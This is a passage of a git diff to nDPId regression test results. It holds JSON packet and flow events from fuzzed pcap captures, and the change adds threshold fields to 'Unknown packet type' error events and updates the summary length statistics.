02480{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_src_last_pkt_time":1031854557975651,"flow_dst_last_pkt_time":1031854557975651,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":1031854557975651,"pkt":"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"} @@ -120,7 +120,7 @@ 00532{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":3,"flow_src_last_pkt_time":1031854562489825,"flow_dst_last_pkt_time":1031854562490275,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1031854562490275,"pkt":"CAAgsl17AFCLk5N8CABFAAAoREtAAIAGWEqsFAMFrBQDDQBQz5DlW6AhyuQuqFAQHdzk2gAAAgQFtG4v"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":36,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854562690442,"flow_src_last_pkt_time":1031854562690442,"flow_dst_last_pkt_time":1031854562690442,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854562690442,"l3_proto":"ip4","src_ip":"172.20.67.13","dst_ip":"172.20.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_src_last_pkt_time":1031854562690442,"flow_dst_last_pkt_time":1031854562690442,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854562690442,"pkt":"AFCLk5N8CAAgsl17CABFAAAobNpAAEAGF7usFEMNrBQDBc+QAFDK5C6o5VOhNFAQgyx+pAAA"} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":117,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":3072,"global_ts_usec":1031854565447882} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854565447882,"packet_id":117,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":3072,"global_ts_usec":1031854565447882} 00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":117,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":3072,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1031854562790415,"pkt":"CAAgsl17AFCLk5N8DABFJXMATUtAAIAGT0asFAMFrBQDDQowAFDlXnSjAABhAGACIAC1aQAAAgQFtCiq"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":37,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854565447923,"flow_src_last_pkt_time":1031854565447923,"flow_dst_last_pkt_time":1031854565447923,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854565447923,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2608,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00532{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_src_last_pkt_time":1031854565447923,"flow_dst_last_pkt_time":1031854565447923,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"thread_ts_usec":1031854565447923,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxNxAAEQGF7WsFAMNrBQDBQBQCjDK9pOA5V50pGASgyzztQAAAgQFtA=="} @@ -210,6 +210,6 @@ ~~ total memory freed........: 6118931 bytes ~~ total allocations/frees...: 122054/122054 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 204 chars +~~ json string min len.......: 304 chars ~~ json string max len.......: 2485 chars -~~ json string avg len.......: 1344 chars +~~ json string avg len.......: 1394 chars diff --git a/test/results/fuzz-2020-02-16-11740.pcap.out b/test/results/fuzz-2020-02-16-11740.pcap.out index c03ae4e56..5594c72a1 100644 --- a/test/results/fuzz-2020-02-16-11740.pcap.out +++ b/test/results/fuzz-2020-02-16-11740.pcap.out @@ -10,7 +10,7 @@ 01383{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1528996068129675,"flow_dst_last_pkt_time":1528996068129675,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"thread_ts_usec":1528996068129675,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIMdAAP8RAAAKDEAexuIZNXIQBxQClwAAAQsCj4S+BLJeRUI2j+crsJkatvQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUiUAGgkAADghDQM2NwZbIqDkATUwMzExNDgwMjcxNTE2NDgwQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZmMtZGItYjMtMDgtZmYtMTQeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjFkMWEwMjI1YiwgNWIyMmEwZDEvZmM6ZGI6YjM6MDg6ZmY6MTQvMjA1BAasFAEQIA5WWldDMlRlc3RsYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TwoCAgAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARMVBoQAAAlAAoKU3RhbmQ5cmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAGCESD0ludmFsQmQgVmFsdWUaHQAAOCETFzQwLjgwNDg4JQAtNzQuMTAyODNVVxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS3TFDXZx6RcHx5Q8nnMq0Ng=="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528996068129675,"flow_dst_last_pkt_time":1528996068129675,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":655,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":655,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996068129675,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00796{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_src_last_pkt_time":1528996068129675,"flow_dst_last_pkt_time":1528996068284843,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"thread_ts_usec":1528996068284843,"pkt":"ABRP+4rqcNuYVcUnCABFAADz7eFAAPwRZdbG4hk1CgxAHgcUchAA39JxAwsA1+U\/DuIEVKatp1a5Vz8iUQkBNTAzMTE0ODAyNzE1MTY0ODBAd2xhbi5tbmM0ODAubaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528996520702154} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996520702154,"packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528996520702154} 01284{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528996068284843,"pkt":"AAAMqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00773{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_src_last_pkt_time":1528996068129675,"flow_dst_last_pkt_time":1528996520912583,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528996520912583,"pkt":"AFFP+4rqcNuYVcUnCABFAADh9PZAAPwRXtPG4hk1CgxAHgcUchAAzf\/ACwwAxUX8kZJ5SD1GIY9b3TLnaCUBNTAzMTEjODAwNzM2MzgwNzJAd2xhbi5tbmM0MDAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEwZmQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjA2T0oBAgBIFwEAAAEFAACzfR5W9eh2OghNxDwVbojaAgEAABPTIXEVtgAALhLyMDDdAueLAQACCwUAJQD\/wh144KSIGN1E2YBCoTFQEji6recwpo2EGDX0tsWSQ1s="} 00771{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996521324807,"flow_src_last_pkt_time":1528996521324807,"flow_dst_last_pkt_time":1528996521324807,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996521324807,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -21,19 +21,19 @@ 00771{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996603395872,"flow_src_last_pkt_time":1528996603395872,"flow_dst_last_pkt_time":1528996603395872,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996603395872,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01447{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_src_last_pkt_time":1528996603395872,"flow_dst_last_pkt_time":1528996603395872,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528996603395872,"pkt":"AAAMB6xAABRP+4rqCABFAALbIMpAAP8RAAAKDEAexuIZNXIQBxUCxwAABA4Cv7R7V6BSrXIqRSnri9UTMJ0aCnIAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzABNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0MDAubWNjMzExLjNncHBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWYRQAQP6AAAAAAAAAAAAAAAAAAAAgDlZaV0MyVGVzdExhYhoMAAA3YwEGAAAAAiwgNWIyMmEwZmQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjA2PQYAAAATGjEAAAAJASthdWRpdC1zZXNzaW9uLWlk3TEwZmYxMGFjMDAwMDAwYjJmZWEwMjI1Yi0GAAAAAUAGAAAADUEGAAAABlEENTY3BlsiovsaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXSBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhcnVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QoBgAAAAIqBgFYQ8k0BgAAAAArBpKpaYo1BgAAAAAvBgAD8PkwBgAY5WwxBgAAAAYuBgAAAewpBgAAAAAfE2YwLTc5LTYwLWQxLTdkLTM3HiUwMC1hNy00Mi1kMC1lMC0wMDpWZXJpem9uV2lGaUFjY2RzcxoMAAAFgwcGwFBKmQ=="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996603395872,"flow_src_last_pkt_time":1528996603395872,"flow_dst_last_pkt_time":1528996603395872,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996603395872,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":10,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528996603490040} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996603490040,"packet_id":10,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528996603490040} 00485{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":147,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"thread_ts_usec":1528996603395872,"pkt":"ABRP+4qfcNuYqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 01620{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":2,"flow_src_last_pkt_time":1528996609526996,"flow_dst_last_pkt_time":1528996603395872,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":876,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":876,"pkt_l4_len":842,"thread_ts_usec":1528996609526996,"pkt":"AAAMB6xAABRP+4rqCABFAANeIMtAAP8RAAAKDEAexuIZNXIQBxUDSgAABA8DQohFBlHb2YvdG6PaZMpxlt8aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwATUwMzExFDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmd+CDFjYXNjbwUGAAAACAQGrBQBEAgGrBQBFWEUAED+gAAAAAAAAAAAAAAAAAAAGYhTQlIyQ0zl2aywoICAgICAEYBzAYAUgZ6M7PeDwdzlup3t95Os3O+5mefgAoA7gZiM5pOJ0PCwmaemg8HY6LaZjoiHu7HC7pebreaZ0PCwl5ustpnM4rGXjOz3g8Hc5bqd7feTrNzvuZngEoAOgeXZrLCi7MWgzYCAgICgFZAGgIzA6rWCjCAOVlpXQzJUZXN0TGFiGgwAADdjAQYAAAACLCI1YjIyYTBmZS8wMDo1NjpjZDo2ZDo0Mjo1OS8yMDc9BgAAABMaMQAAAAkBK2F1ZGl0LXNlc3Npb24taWQ9MTBmZjEwYWMwMDAwMDBiM2ZlYTAyMjViLQYAAAABQAYAAAANQQYAAAAGUQQ1Njeqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00648{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_src_last_pkt_time":1528996609526996,"flow_dst_last_pkt_time":1528996609592806,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"thread_ts_usec":1528996609592806,"pkt":"ABRP+4rqcNuYVcUnCABFAACFyc1AAPwRiljG4hk1CgxAHgcVchAAcZmUBQ8AaTuYG1n4ee1Aq0+zAcDNdlwBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3Jrqm9yZywgNWIyMmEwZmUvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjA3"} 00926{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":3,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528996068129675,"flow_dst_last_pkt_time":1528996521508032,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":655,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":655,"flow_dst_tot_l4_payload_len":688,"midstream":0,"thread_ts_usec":1528996609592806,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00775{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996521324807,"flow_src_last_pkt_time":1528996521324807,"flow_dst_last_pkt_time":1528996521324807,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996609592806,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 